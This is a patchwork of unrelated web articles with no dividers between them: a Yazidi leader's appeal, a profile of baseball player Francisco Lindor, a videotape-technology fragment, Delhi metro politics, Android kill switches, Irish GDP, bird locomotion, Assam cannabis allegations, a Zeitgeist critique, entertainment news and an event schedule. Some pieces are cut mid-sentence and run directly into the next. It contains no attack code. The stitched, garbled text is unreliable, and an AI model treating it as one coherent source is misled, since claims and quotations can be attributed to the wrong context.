The Yazidi plight has become so dire that it has shaken the Yazidi Mir, or Prince—the spiritual leader of the community—from his usual sleepy state of towing the Kurdish political line. Mir Tahsin Beg has issued the following statement in Arabic, which we have translated into English, below:
An Urgent Call to the Iraqi Government of Baghdad and the Kurdish Government of Erbil
Since the 3rd of August our Yazidi people have been exposed to the fiercest campaign of genocide [that they’ve experienced] in this century which has taken the lives of more than 5,000 innocent people through the violence of the Da’esh [Islamic State] terrorist organization. More than 7,000 have been kidnapped—mostly women & children—and around 350,000 are now displaced and expelled into the Kurdistan Region, Syria, Turkey, and other countries, and living in very poor conditions, without access to the minimum requirements for basic human needs.
Despite the passing of more than two months of the Yazidi tragedy, and the IS occupation of Sinjar and other Yazidi areas such as Ba’shiqa and Bahzany, and the presence of a Yazidi resistance defending with a patriotic spirit the very existence of the Yazidis—which is simultaneously a defense of the existence of Iraq, of an integral part of Iraq, and its people, honor, and dignity—until now we haven’t seen any serious attempt to support this resistance in order to free Sinjar and other Yazidi areas, and to save those that can be saved from among the kidnapped and expelled Yazidis who are headed for an unknown destination, without the slightest concern of the central [Iraqi] and regional [Kurdistan] governments, as though the Yazidis were part of neither Iraq nor Kurdistan.
In the face of this horrific and catastrophic situation, we are filled with surprise at the Iraqi and Kurdish Regional Governments’ ignoring of our Yazidi tragedy as though this tragedy is not an Iraqi one.
A few days ago, the Kurdish Peshmerga forces announced the beginning of a battle liberate Sinjar via Rabia in coordination with Iraqi forces and with the support of coalition airstrikes led by the U.S., but these forces have not achieved as great an advance as had been expected. This has prompted the IS forces to start fierce attacks on more than one front in Sinjar to tighten the noose on the Sinjar Protection Forces [local Yazidi volunteer defenders] by closing in on them from all sides.
We call on officials of the central and regional governments to bear responsibility—national, political, humanitarian, and moral—for the deterioration of the Sinjar situation and the consequences of it. We urge them to carry out their national duties to our besieged people in the Sinjar mountains, ask them to support the Sinjar Protection Forces logistically and militarily, and to facilitate the prompt delivery of weapons, equipment, and supplies—immediately.
—Prince Tahsin Sa’eed Ali, Head of the Yazidi High Spiritual Council of Iraq and the World
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RedditCleveland's Francisco Lindor sits down with Pedro Gomez to talk about how Terry Francona's coaching style has helped him excel as a player and looks to the Indians future. (2:12)
This story is also posted in Spanish. Read it here.
FRANCISCO LINDOR REVEALED his stylish and hip side during the 2016 MLB postseason, when he entered the Progressive Field media room wearing a black fedora and two beaded necklaces while carrying a white leather backpack. The Cleveland Indians shortstop looked every bit the young star on a mission to put some flair back in the game.
A different side of Lindor -- the wise-beyond-his-years version -- made a surprise appearance a few days later.
Asked to recall his favorite player when he was growing up in Puerto Rico, Lindor leaned forward and rattled off the names of five middle infielders and explained precisely why they were so influential in shaping his approach. The shout-out was remarkably thoughtful given that Lindor was still a month shy of his 23rd birthday, and it helped round out the portrait of a player who brings a rare blend of old-school values and new-age sensibilities to the park each day.
"I liked Robbie Alomar because he seemed like he was going to impact the game in different ways,'' Lindor told reporters before Game 2 of the World Series. "Omar Vizquel. Derek Jeter. Jimmy Rollins. Barry Larkin. My dad and my cousin and brother always told me try to get something from everyone. Don't get stuck in one player. Just learn something from everyone.''
Lindor's diverse taste in role models has given his game a well-roundedness that wowed a national audience in October, when Cleveland eliminated Boston and Toronto before pushing the Chicago Cubs to the limit in the World Series. He played a sterling defensive shortstop and hit.310 in 15 postseason games to propel the Indians to within a victory of their first title since 1948.
Six months later, Lindor will try to use that October exposure as a springboard to a more prominent place in the game, where the biggest names dwell.
The nation got a glimpse of Francisco Lindor's star power during the 2016 postseason. But here's a scary thought: The Indians shortstop is still getting better. Jesse Rieser for ESPN
AS A BUDDING ambassador for baseball, Lindor is on speed dial when MLB needs a player to speak to kids as part of its RBI youth initiative. He will be featured prominently in MLB's 2017 "This Season on Baseball'' marketing campaign, and the national merchandise sales reflect his growing popularity. Lindor's jersey is the 15th-biggest seller in the game, and it might not be long until he ascends to Kris Bryant-Mike Trout-Clayton Kershaw territory.
"He's got a lot of positive energy about him,'' Cubs manager Joe Maddon said in October. "I love the way he interacts. It's good for the game. It's good for him. It's good for Cleveland. That's the kind of guy you need to attract young baseball fans. Not necessarily players, but fans. I think he's wonderful.''
"He's a boss on both sides of the ball. He is the perfect example of what you want a shortstop to be." Hall of Fame shortstop Barry Larkin on Francisco Lindor
Plenty of shortstops can field or hit, but very few can handle the burden of playing lockdown defense while batting third in the order for a contender at age 22. At the recent World Baseball Classic, Puerto Rico manager Edwin Rodriguez made a statement when he shifted Houston Astros shortstop Carlos Correa, another superstar in the making, to third base to make room for Lindor.
One of Lindor's boyhood role models is on board for the long haul. Larkin, a 12-time All-Star with Cincinnati and one of 24 shortstops in the Hall of Fame, envisions Lindor as a lock to hit 20 homers and steal 20 bases every year, and a good bet to hit 30 bombs as he gains experience and strength.
"He's a boss on both sides of the ball,'' Larkin says. "He is the perfect example of what you want a shortstop to be.''
Francisco Lindor's ability to put in the work required to put up big numbers for years to come endears him to old-school fans, while his new-age style could make him a face of the game. AP Photo/Ross D. Franklin
IF ANYONE IS qualified to serve as an authority on the topic of Lindor and his future, it's Larkin.
For the past three offseasons, Lindor has laid the foundation for improvement under Larkin's tutelage. Five days a week, from late December until mid-February, Lindor reports for duty with Carlos Gonzalez, Dee and Nick Gordon, and several other players at the Atlanta Braves' spring complex in Orlando, Florida, where Larkin organizes offseason workouts. Dee Gordon took enough pride in the group's shared sense of purpose to have T-shirts made with the inscription "B-Lark SS University'' on the front.
During the offseason baseball seminar, weightlifting and swings in the cage are only part of the curriculum. As the players begin stretching for the day ahead, Larkin gathers them in the dugout and talks about the mental side of the game. The goal is to prepare them for the inevitable lulls in the season when talent alone won't suffice.
"There are days when you aren't feeling good hittingwise,'' Larkin says, "so what mental adjustments do you make to try to get yourself through the day? When you hit five balls on the button and you don't have anything to show for it, do you change? What do you do? How do you combat that and prepare yourself?
Boxing, anyone? Boxing is an optional part of the curriculum at B-Lark Shortstop University. During Barry Larkin's playing career in Cincinnati, he incorporated boxing into his routine as a training tool. He found the sport was helpful in allowing him to be more "linear'' and less "rotational'' in his actions, and it required a discipline and focus that helped carry him through periods of fatigue. Three years ago, Francisco Lindor went to Larkin's home gym in Florida and worked the heavy bag and threw endless combinations of punches into mitts. He's been an ardent boxing devotee ever since. "It's all about endurance,'' Lindor says. "When you're tired, are you going to remember the combinations or just throw punches? You're going to be tired in June or October, but it doesn't matter. The team and the fans are still counting on you and you have to go out and perform. Barry has helped me so much with that.'' Reds minor leaguer Jesse Winker and some other members of the offseason workout group also have caught the boxing bug and made it part of their offseason training regimens. The only rule: No contact or sparring is permitted. "I don't want them to hurt me,'' Larkin says, laughing.
"I'll say, 'Hey Dee, what happens if you feel like crap or you're fumbling the ball?' Or, 'Frankie, what do you do when you don't have confidence and first base feels like it's a mile away? How do you get through it?' We'll talk about those intangible things that make a difference in a player's approach.''
The regimen builds on the fundamental skills Lindor developed as a boy in Puerto Rico before he turned 12 and moved to Florida with his family. Lindor learned the virtues of anticipation when he stood halfway down a hill and fielded grounders from his father, Miguel. Missing a ball meant a long run to the bottom of the hill to retrieve it from the bushes.
After starring at Montverde Academy -- a private college preparatory school with a high-powered athletic program -- Lindor signed with Cleveland for a $2.9 million bonus as the eighth pick in the 2011 draft. He needed a mere 1,004 minor league at-bats to graduate to the majors. Cleveland's veterans could have chafed over all the hype he received as a rookie, but they gave him a long leash because he was so diligent and committed. It sent a signal to manager Terry Francona and the coaching staff when they learned he was on a back field doing lunges and jumps with the team's strength and conditioning coach at 7:30 a.m.
"He has a boisterous personality, but he handled it the right way when he was first called up,'' Francona says. "The veteran guys bought into him, or you can't really act like that. They knew he cared about winning, so he was able to be himself more quickly, and it helped him. He didn't rub anybody the wrong way.''
With his luminous smile, precociousness and hypercompetitive approach, Lindor has a similar knack for charming the dean of B-Lark University each January. Every Friday, when the players break into teams for a simulated game, Larkin assumes the role of arbiter and determines which balls are hits or outs. Invariably, Larkin's judgment calls lead to good-natured complaints about nepotism on behalf of his two favorites, Lindor and Dee Gordon.
"For some reason, since I'm the veteran, I'm on one side, and Lindor and Dee play against me all the time,'' Gonzalez says. "I'll say to Barry, 'Of course I'm never going to win. I'm playing against your children.'''
LeBron James is the undisputed king of Cleveland sports, but Francisco Lindor isn't too far behind him on the list. Jason Miller/Getty Images
AT AGE 22, Lindor scored 99 runs, made the All-Star team, finished ninth in American League Most Valuable Player voting and ranked eighth in the majors with a 6.3 FanGraphs WAR before putting up big numbers amid excruciating pressure in October.
Gonzalez, Lindor's fellow winter camper, turned a 2009 playoff breakthrough into a top-three MVP finish the next season. He thinks Lindor can follow the same path.
"He can do that easy,'' Gonzalez says. "What really impresses me is the way he thinks and approaches the game. He's so mature. He's what, 23 years old? And he plays the game like he's Carlos Beltran -- a 39-year-old guy with a lot of experience.
"He's had the blessing of playing important games in his career -- in the World Series and the finals of the World Baseball Classic -- and these games are only going to make him better. It's scary the things he can do in this game. If he stays on this path, he's a potential Hall of Famer.''
As Lindor's national profile ascends, he's developing an ardent following in his backyard. While LeBron James is the undisputed king of Cleveland sports, Lindor is arguably in a race with Cavaliers guard Kyrie Irving for No. 2 in the hierarchy.
"What really impresses me is the way he thinks and approaches the game. He's so mature. He's what, 23 years old? And he plays the game like he's Carlos Beltran -- a 39-year-old guy with a lot of experience." Colorado Rockies outfielder Carlos Gonzalez on Francisco Lindor
His apparel is a hot commodity in the city. Last year he accounted for 30 percent of all player-related merchandise sales at Progressive Field and the Indians' team shop, with more than 1,500 jersey sales.
So far this year, Lindor continues to lead the way at a whopping 42 percent. That's no small feat given Cleveland's roster includes franchise favorites Corey Kluber, Jason Kipnis and Michael Brantley, 2016 postseason sensation Andrew Miller and the new big dog on the block, Edwin Encarnacion.
Cleveland general manager Mike Chernoff's 6-year-old son, Brody, recently made waves during a radio interview when he blurted out (inaccurately, it appears) that the Indians are trying to sign Lindor to a seven-year contract extension. In hindsight, the biggest shocker might have come when little Brody singled out outfielder Tyler Naquin -- and not Lindor -- as his favorite Indians player.
Francona cites the most elementary reason of all in explaining Lindor's fan appeal.
"He just has fun playing baseball,'' Francona says. "I tell people, 'If I had his talent, I'd have fun too.'''
Francisco Lindor had a special gift made to thank Barry Larkin for helping take his game to another level. Courtesy of Barry Larkin
THE RELATIONSHIPS FORGED in Orlando each winter don't fade away in February. During the regular season, Papa Larkin sends out group text messages to Lindor, CarGo, the Gordon brothers, Darnell Sweeney, Jesse Winker and other camp attendees saying, "All right, boys. It's time to check in and let me know how it's going."
Each time Lindor reads one of those texts, he reflects on how fortunate he is to have a mentor like Larkin, who made it to Cooperstown with 86 percent of the vote in 2012.
"He's there every day with us, helping us,'' Lindor says. "It's just the mindset he gives us. There are no excuses. If you want to be a player like Larkin, you have to come out with the same attitude every day and not back down from any challenges. He's awesome. I'm going to be with him every offseason.''
As Larkin awaits the results from Cleveland, his mind occasionally wanders back to a moment during the offseason when he was the beneficiary of Lindor's thoughtfulness.
While the other B-Lark University attendees went their separate ways after a five-hour workout, Lindor beckoned Larkin to follow him to the parking lot at the Braves' Disney World complex. He opened the trunk of his car and tore off a plastic wrapper to reveal something shiny inside.
In addition to winning a Gold Glove in 2016, Lindor received a Platinum Glove as the league's top fielder overall. Shortly after the announcement, he asked a representative from Rawlings if the company could make a replica with the words "Thank You Lark'' engraved on the thumb side. Above the index and middle fingers, Lindor's signature and the words "You took my game to a different level'' were inscribed in his handwriting.
"He's a friend, and he's a brother,'' Lindor says. "He's done so much for me, and I'm a guy who doesn't forget.''
As Larkin looked on, astonished, his mind flashed back to a family interaction. A couple of years ago, he came home to find his beloved fishing boat missing. His wife, Lisa, told him it was in the shop for repairs. A few hours later his son, Shane (a former NBA guard who is now playing basketball in Spain), was standing outside next to a new Bass Ranger that he had just purchased.
To show his appreciation for Barry Larkin's help shaping his game, Francisco Lindor had a glove with 'Thank You Lark' engraved on it made this offseason. Courtesy of Barry Larkin
Many of the same emotions that Larkin felt in response to Shane's gesture welled up anew when Lindor handed him that glove.
"You talk about a kid who's appreciative,'' Larkin says. "You talk about a kid who thinks, who shows respect. That's who he is. He's a beautiful person. I love him as if he were my own son.''
It's a bit premature to anoint Lindor as Cooperstown-worthy, but Larkin sees the requisite elements in place. When a player is a boss on both sides of the ball, why think small?
"He plays with a joy that says, 'I'm not concerned with failing. I just want to put it all out on the field,''' Larkin says. "He's special. Hopefully in 10 years they'll be talking about him and say, 'Damn, he's still special. How about the numbers he's been able to amass over these |
per second) with four heads on the drum so that each television field is broken into 16 stripes on the tape (which requires appropriately complex head-switching logic). By comparison, the longer stripe recorded by a helical-scan recorder usually contains an entire video field and the two-headed drum spins at the frame rate (half the field rate) of the TV system in use.
Recording an entire field in a single pass allows these machines to play back a viewable still frame when the tape is stopped, and display a viewable image sequence while shuttling forwards or backwards. This greatly facilitates the editing process. The quadruplex systems are unable to display video from tape except while playing at normal speed.
Gallery [ edit ]
Type B videotape video scanner head
rotary head visible in a VXA computer tape drive
VXA tape drive, alternate view of rotary head and loading mechanism
See also [ edit ]'Centre told Delhi chief secy to turn down CM's order to probe metro fare hike': Delhi govt
The Centre has instructed the Delhi Chief Secretary to turn down Chief Minister Arvind Kejriwal's direction to order a probe into the issue of Delhi Metro's fare hike and other related issues, the Delhi government said on Saturday.
Deputy Chief Minister Manish Sisodia shared a communication from the Ministry of Housing and Urban Affairs to Chief Secretary M M Kutty with reporters suggesting the same, which, he said, vindicates the government's position that Kutty was "stalling the process at the BJP's behest".
"DMRC is not a state PSU. It has been organised as a 50:50 equity partnership of the Central government and the state government. Therefore, it is neither Central nor state PSU. It is a Board run government company. Therefore, state government has no authority to make an enquiry into DMRC affairs," the letter to Kutty states.
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Sisodia said the government was not buying metro's contention that it had to resort to a fare hike since it was running on losses.
"We will ensure that a probe is done. The Delhi Assembly has every right to get a probe done. The House Committee is already conducting one," he said.
The communication from the Ministry of Housing and Urban Affairs, however, clearly states that neither the Dialogue and Development Commission of Delhi nor the Delhi government has "competence to inquire into metro's affairs."
"Why are we even running the metro? To benefit whom? Congress used to deploy the the same logic of discoms running on losses to increase power tariff in Delhi. We have never interfered in metro operations. We believe metro isn't some profit making company," Sisodia said.
The fare hike that came into effect from October 10, increased ticket prices to Rs 10 for all travels beyond 5 km. The hike which comes barely five months within the last one, will affect every commuter who travels beyond 5 km.
The maximum fare, for journeys beyond 32 km, will now be Rs 60.cryptogon.com news – analysis – conspiracies
February 24th, 2012
Via: Bloomberg:
Janne Kytömäki, a Finnish software developer, was cruising Google’s (GOOG) Android Market for smartphone apps last year when he noticed something strange. Dozens of best-selling applications suddenly listed the same wrong publisher. It was as if Stephen King’s name had vanished from the covers of his books, replaced by an unknown author. Kytömäki realized the culprit was a piece of malware that was spreading quickly, and he posted his findings online.
Google responded swiftly. It flipped a little-known kill switch, reaching into more than 250,000 infected Android smartphones and forcibly removing the malicious code. “It was sort of unreal, watching something like that unfold,” says Kytömäki, who makes dice simulator apps. Kill switches are a standard part of most smartphones, tablets, and e-readers. Google, Apple (AAPL), and Amazon (AMZN) all have the ability to reach into devices to delete illicit content or edit code without users’ permission. It’s a powerful way to stop threats that spread quickly, but it’s also a privacy and security land mine.
With the rollout of the Windows 8 operating system expected later this year, millions of desktop and laptop PCs will get kill switches for the first time. Microsoft (MSFT) hasn’t spoken publicly about its reasons for including this capability in Windows 8 beyond a cryptic warning that it might be compelled to use it for legal or security reasons. The feature was publicized in a widely cited Computerworld article in December when Microsoft posted the terms of use for its new application store, a feature in Windows 8 that will allow users to download software from a Microsoft-controlled portal. Windows smartphones, like those of its competitors, have included kill switches for several years, though software deletion “is a last resort, and it’s uncommon,” says Todd Biggs, director of product management for Windows Phone Marketplace.
Microsoft declined to answer questions about the kill switch in Windows 8 other than to say it will only be able to remove or change applications downloaded through the new app store. Any software loaded from a flash drive, DVD, or directly from the Web will remain outside Microsoft’s control.
Surveillance, Technology | Posted in Dictatorship Top Of Page
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You must be logged in to post a comment.Ever heard the one about the statistician who drowned trying to wade across the river? He was told it was only three feet deep... on average. The joke provides an easy segue into last week’s GDP numbers, which put the economy on a par with a bounding cheetah on the Serengeti.
Understandably the 26 per cent metric distracted attention from the 2 per cent contraction in GDP in the first quarter of this year.
The latter means – and this is equally hard to take seriously – we’re only one quarter of negative growth away from a full-blown recession. And with the figures seesawing wildly, this is hardly a remote possibility. So depending on how you read it, we’re either the world’s fastest-growing economy or one that stands on the brink of recession.
It’s pretty clear to most that neither paradigm provides even the remotest semblance of economic truth. Though a coterie of commentators insisted our economic performance is better viewed through the prism of consumer spending, which grew 4.5 per cent last year, announcing a 26 per cent rate of GDP growth has damaged our standing and the “leprechaun economics” tweet by Paul Krugman was the coup de grâce.
The new figures also had the effect of reducing our national debt as a percentage of GDP, from 94 per cent to 78 per cent, bringing it from well above the European average to below it in a single bound.
However, in absolute terms, Ireland’s national debt actually rose during the period as the Government continued to borrow and still equates to about €43,000 per person.
Even the prudent NTMA suggests Ireland’s debt position is better expressed as a percentage of general government revenues, which puts it at about 130 per cent – more like Italy’s, which is increasingly seen as the euro zone’s new fault line. Viewed this way, Ireland remains extremely vulnerable to a major economic reversal. Could this come in the form of Brexit? Already Deutsche Bank is saying the impact on Ireland will be greater than predicted.
All of which goes to show what we knew at the outset – the figures need to be overhauled.iHeartRadio is one of the most widely used online radio services with more than 95 million registered across the globe. The service provides access to live radio, custom Artist Radio stations, podcasts, and more. The company has announced the integration of its music service with two Samsung products at the Consumer Electronics Show 2017 in Las Vegas today.
The service has been integrated with the Samsung Family Hub refrigerator. It features a touchscreen display on the door which is used to access all of the features and functionality that Family Hub offers. Those who have a Family Hub will now be able to stream iHeartRadio stations directly from their refrigerator.
The Gear S3 integration enables smartwatch owners to control the iHeartRadio listening experience right from their wrist. Users get the same access to thousands of live radio stations, podcasts, Artist Radio stations and more on their wearable device.
“These new integrations allow our users to access the music and personalities they love most across even more apps, wearables and connected home devices they use every day.” said Darren Davis, President of iHeartRadio.View the video
A tiny quail and a huge ostrich would seem to have little in common given their 500-fold difference in size. But when faced with an obstacle in their path, the birds tackle it in the same way, scientists report October 29 in the Journal of Experimental Biology.
Aleksandra Birn-Jeffery of the Royal Veterinary College in Hatfield, England, and colleagues wanted to know how running birds negotiate a step. How two-legged creatures navigate obstacles can be helpful for inventors hoping to create two-legged robots, but it seems that humans may not be the best models. Though our ancestors started walking upright millions of years ago, birds have been doing it for far longer — bipedal locomotion can be traced back 230 million years to theropod dinosaurs.
So the researchers brought five species of birds into the lab: quail, pheasant, guinea fowl, North American turkey and ostrich. Because ostriches are capable of killing people (a common trait among many large flightless birds), Birn-Jeffery hand-raised the birds for two years so they could be safely handled. Members of the other species had their wings clipped so that they wouldn’t fly away.
The scientists presented each bird with a step sized appropriately to the bird’s height. Each bird ran over the obstacle, taking some practice runs so they could optimize their strategy. Then the researchers filmed the birds on their runs and measured the force of their steps.
All the birds tackled the step in a similar way — in three steps, with an initial vault onto the step and slightly crouching while on top of it — regardless of size. This was surprising because the large ostrich runs differently than the smaller birds. The ostrich uses straighter legs to minimize stress on muscles and bones, while the smaller species tend to crouch, which allows for smooth body motion over uneven terrain. But when faced with a step, all the birds used a strategy that coupled energy efficiency with leg safety.
“In the wild, injuries can result in predation, and food energy resources are often limited, thus, injury avoidance and economy are likely to be important factors in fitness,” the researchers note.
The motion isn’t always smooth and sleek, though. The birds avoid falling and injuring themselves, but their upper bodies may bounce around.
The similarities between species may break down, however, with obstacles of a different size or type, Birn-Jeffery says. “A large bird, such as an ostrich, would not be able to successfully negotiate an 80-percent-leg-length obstacle using this strategy,” she says. “They would more than likely have to slow down before encountering the obstacle, something which none of our birds in the current study did.” A quail, though, might not have to change its strategy to tackle a higher height.
Coauthor Monica Daley, also at the Royal Veterinary College, is currently investigating whether the birds’ strategies change with other types of terrain. The research may help scientists create stable, running robots.
Bipedal, ground-running birds come in a variety of sizes, from tiny quail to huge ostriches. But when presented with a short step, they all tackle the obstacle in a similar way: an initial vault up, slightly crouching on top and a third step back down to the ground.
Credit: A.V. Birn-Jeffery et al/Journal of Experimental Biology 2014SHILLONG: Contradicting news reports that the cannabis grown in char areas (sand islands) of the Brahmaputra and its tributaries along lower Assam is smuggled to Bangladesh, senior officials of the Commissionerate of Customs (Preventive), northeastern region, stated that the yield is not smuggled out across the border but sold in India. They alleged the money is ploughed into the “Indian political system with an aim to drive the indigenous people and tribals to the brim of extinction.”
Interestingly, the arrest of Pakhi Mia, a drug lord with a fair bit of political clout, is an angle that the customs sleuths are examining in order to establish the nexus between cannabis dealers and politicians. A senior customs official divulged on condition of anonymity that Bangladeshi drug lords are not involved in the racket. “Instead, the ganja planters are being patronized by a coterie of political personalities,” he said, refusing to disclose names.
“These inaccessible sand islands have been chosen for growing cannabis by temporary dwellers, evidently foreign nationals, causing great worry to customs officials of the region. It is very difficult to nab the cannabis growers as most of their dwellings are temporary and so are the cultivation areas, which emerge only when the water recedes,” the customs official said.
“Cannabis is used in India for recreation purposes but its cultivation and dealing in it in any form is prohibited under the provisions of the Narcotics Drugs and Psychotropic Substances Act, 1985. The value of fully-grown cannabis plants, including semi-dry ganja, grown on 35 bigha of land is estimated at Rs 3 crore. Processed cannabis in the grey market fetches Rs 2,500 to Rs 3,000 a kg,” the official said.
The customs department has no evidence of druglords operating from Bangladesh in these areas as reported, the official said. “Our intelligence inputs indicate that the huge booty from this illegal cultivation of cannabis goes to the benefit of a handful of politicians to sustain their political ambitions,” he said.Share This Article:
Zeitgeist - Introduction
Author: Edward L Winston
Added: November 29th, 2007
Peter Joseph (creator of Zeitgeist) believes that I'm mentally ill because I disagree with him. You can read all about it on his forums (linked from this forum post), with a blog-based rebuttal here. You better not disagree with him, or you'll be labeled insane next. Perhaps I'm crazy for pointing out his forum post?
Zeitgeist, The Movie is a film that was released on Google Video in the spring of 2007 and was created by Peter Joseph. Essentially the video covers three areas of Interest: Part I, entitled "The Greatest Story Ever Told" evaluates Christian beliefs and asserts that it was all taken from pre-existing myths, primarily Egyptian mythology. In Part II, entitled "All The World's a Stage" it goes on to talk about how the US Government knew about the attacks on September 11th, 2001 before hand and that it was a large conspiracy and cover up -- essentially an it was an inside job. Lastly we are told in Part III, entitled "Don't Mind The Men Behind The Curtain", that powerful bankers and world leaders are conspiring for world domination and consolidation of power.
<- On the left side you can navigate each part (put here because some people did not notice)
A little back story
This video has recently (early 2008 now) spread through the Internet like wild fire. I cannot go to a forum on the Internet without someone mentioning how this is the "truth" and it has "opened [their] eyes". Nearly always, they also claim that they know these things are true because of their "own research". The interesting part of all this is, you rarely see any engineers, scientists, or anyone else making such claims.
I decided to sit down and watch the film, I honestly began watching it thinking it may have some interesting information. When it was all over, I realized that many things were completely wrong, misquoted, or had already been disproven by many other people long ago. The problem was that when I tried to Google more information about it, nobody had made a complete guide discussing all the inaccuracies of the film. So, here I am. If you don't want to read the whole site, you can read my conclusion page for a general overview -- be sure to read the actual analysis for sourced information.
The movie rarely cites sources, and when it does, it fails to provide page numbers, dates, and other information. Sourced information listed on their web site is primarily from books which are sometimes hard to obtain -- trust me, I tried -- making fact checking near impossible. So, in my work, I am going to source all my claims and exactly where I find them. If it is in a book, I will do my best to find an online version of the book, and if I cannot, I will link to where the book can be purchased. For the most part, however, I wanted to use web sites and online information so it is easier for everyone to read -- I have received several complaints about this, somehow a book is more authoritative than a web site, I'm not sure where that logic comes from considering the crazy books that are in circulation these days.
Question the Conspiracy Theorists
I am not naïve, and you should not be either; the information here will be considered controversial to many of those who see Zeitgeist, the movie as the truth. That said, do not be surprised if they refuse to believe anything written in these pages. I personally have tried to show people before, generally they reply "you shouldn't believe everything you read on the Internet" (ironic, isn't it?) and/or that they "just have an open mind". Note that these are not answers to the skeptics' questions, these are just ways to avoid facing something that disproves what they believe. Readers have also reported that conspiracy theorists who read my site, if they have one problem with anything on it, they automatically throw out the whole thing without reading the site in its entirety.
One of the biggest rebuttals I receive is that the film "isn't meant to be true, just to open your mind to other possibilities." The problem with this logic is that there are better ways to show someone alternative view points other than blatantly lying to them. Most importantly, most people that like this movie do believe it, they don't see it as just some metaphorical mind-opening experience. My question to these people who refute me this way is this: if I am wrong and/or lying on my web site, then why aren't I also just trying to open peoples minds? Why am I the liar? Is it because I don't make outrageous and impossible claims about the world and believe you to be an idiot?
They say I have "missed the entire point of the film", but have I really? If the film is lying to me about everything, then what is the point? It can't be to open my mind, that really doesn't make sense, because if that is the case, all liars are really just trying to open your mind. The film's web site makes a big deal that if you find anything incorrect, then it wasn't supposed to be correct -- however, I imagine if you do believe something in it, they'll tell you that it's true as well.
Good luck to anyone using this information to try to talk sense into someone.
Methodology
The movie talks about things such as "the sun was worshipped by the ancients" and I do not dispute this. Information that has been widely known for countless years I will not mention. My goal is to only debate the new ideas they put forth that challenge older ones.
That said, a lot of people claim that "I do not believe everything in the movie, but this thing seems true to me, so you should watch it." Just because something of substance might be found, does not make it a good / factual movie. For example, if I have a pie, and I fill it with dirt and put a slice of apple in it, it does not make it an apple pie -- though some would claim so. If I can't find any information in the film to be true, I will say so, however sometimes people who criticize me say that if I "can't prove it isn't true, then it must be true". I'm sorry, that isn't how science works.
In these pages I will state their claim intended and in a slightly different color, and below it I will have a sourced rebuttal. I may also separate them into sections to make it easier to find things, these will be noted by larger headers. I also want to avoid explaining things more than once, so a large section may not have every problem brought forth, but these problems are instead addressed later.Marvel first announced an Inhumans movie as part of their Phase 3 plan back in 2014, but a subsequent release delay and a lack of updates on the project seemed to signal a bit of trouble — an assumption that proved correct when the studio recently pulled Inhumans from its Phase 3 schedule, leaving us to speculate as to whether the film had simply been delayed again or canceled entirely. According to Kevin Feige, it’s the former, as Marvel is still plotting an Inhumans film…eventually.
During a recent chat with Empire, Feige says it’s not a matter of if they’ll make Inhumans happen, but when. The superhuman ensemble film always seemed like the odd duck of Phase 3, and according to Feige, Marvel feels the same way:
The only situation right now is that [ Inhumans ] is not gonna be a part of Phase 3 because Phase 3 increased in a very good way since we initially announced. When and where and how it pops up remains to be seen, but it’s characters we love, it’s a storyline we love, and we just didn’t want to cram it into an already quite full Phase 3.
It sounds like Marvel needs to do a little rethinking when it comes to Inhumans, and it might help if the studio started slowly laying the groundwork for that corner of the MCU during Phase 3. Many also assumed that Agents of S.H.I.E.L.D. ’s Inhumans storyline had an impact on the film, which may still be the case. Perhaps Marvel Studios is waiting for the television end to wrap it up before moving forward to avoid any confusion among fans.A woman dressed as the Monopoly man showed up to Wednesday’s Senate Banking Committee hearing on the Equifax data breach, much to the delight of the Internet.
Sporting Rich Uncle Pennybags’ classic top hat and monocle look, the protester — who was reportedly a representative of consumer advocacy group Public Citizen — sat behind former Equifax CEO Richard Smith as he testified on the credit firm’s massive security hack.
“We sent the Monopoly man to the #Equifax hearing to send a message,” Public Citizen tweeted. “Forced arbitration gives @Equifax a monopoly over our justice system.”
Some who spotted the board game character in the audience at the hearing took to Twitter to express their amusement at the stunt.
The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now
“The Monopoly Man who is wiping his brow with money and twirling his mustache is magical,” user Carolyn Altland wrote.
“A tip of the hat to the Monopoly Man,” Red T Raccoon added. “You good sir took a chance and it paid off during the Equifax hearings. Now go collect $200.”
See some of the responses below.
Write to Megan McCluskey at megan.mccluskey@time.com.“I don't know his father. I met him once. I think he's a lovely guy,” Donald Trump said at a morning-after rally in Cleveland. | Getty Trump revives rumor linking Cruz's father to JFK assassination
A day after accepting the Republican Party’s nomination for president, Donald Trump rehashed a conspiracy theory that claims the man who killed President John F. Kennedy once cavorted with Ted Cruz’s father.
“I don't know his father. I met him once. I think he's a lovely guy,” Trump said at a morning-after rally in Cleveland. “All I did is point out the fact that on the cover of the National Enquirer there was a picture of him and crazy Lee Harvey Oswald having breakfast.”
Story Continued Below
Trump invoked Cruz’s father during an extended screed against the Texas senator for failing to endorse him during the convention. While Trump and Cruz were primary rivals in May, Trump initially pointed out an Enquirer story which featured Cruz’s father, Rafael Cruz, pictured with Lee Harvey Oswald while handing out pro-Fidel Castro pamphlets in New Orleans in 1963.
More known for its sordid tales of celebrity affairs and alien invasion cover-ups, the National Enquirer has famously broken two major stories: John Edwards’ love child during the 2008 presidential campaign and some early aspects of O.J. Simpson’s 1994 murder trial, exceptions Trump gleefully pointed out on Friday.
“This was a magazine that, in many respects, should be well respected,” Trump said. “I mean if that was The New York Times, they would have gotten Pulitzer Prizes for their reporting.”Burning Man Presents…
San Francisco Decompression 2017: Black Top City!
TICKETS ARE AVAILABLE AT THE DOOR FOR $35! WE ARE NOT SOLD OUT! C’MON DOWN AND ENJOY A BEAUTIFUL DECOMPRESSION!
Saturday October 14th (New date this year, Saturday!)
Pier 70, 22nd & Illinois St, San Francisco
Event runs 2:00pm-4:00am, all ages welcome
Tickets $25-30 advance, $35 door, kids under 12 free!
Food & beverages available with a portion of food proceeds benefitting art. Eat for art!
ONLINE PRESALE IS OVER, BUT WE ARE NOT SOLD OUT! SEE YOU SOOOOOON!
Mass Transit: Near the T-Line on 3 rd St. and near major bus lines #22 & #48
Bike Parking: 22nd St & Illinois
Rideshare: Illinois between 20th & 22nd ; Taxi Stand: Illinois between 22nd & 23rd
View & Download a Map of Black Top City here!
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And now… our Black Top City Performance Schedules!
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Esplanade Stage
2:00-3:50 Shahid Buttar
3:55-4:55 Rafa’s One Man Band
5:00-6:00 U.N.I
6:05-6:45 The Quart of Blood Technique
6:45-8:20 Skyler Villain of the Vaude Villainz
8:20 Fire Performance –
8:22 Dresden
8:27 Demetri
8:32 Cindy Sparks
8:37 Lucid Dreamflow
8:42 Fire and Glow
8:46 Dembaya Fire Solo
8:50 Liam
8:55 Wrylie
9:00 SolRiso
9:06 Lucid Dream Flow
9:11 Mitchie Hoops
9:16 C Pham
9:21 Dembaya Fire Solo
9:26 Antonio
9:30 Cary Jerome
9:35 Lucid Dreamflow
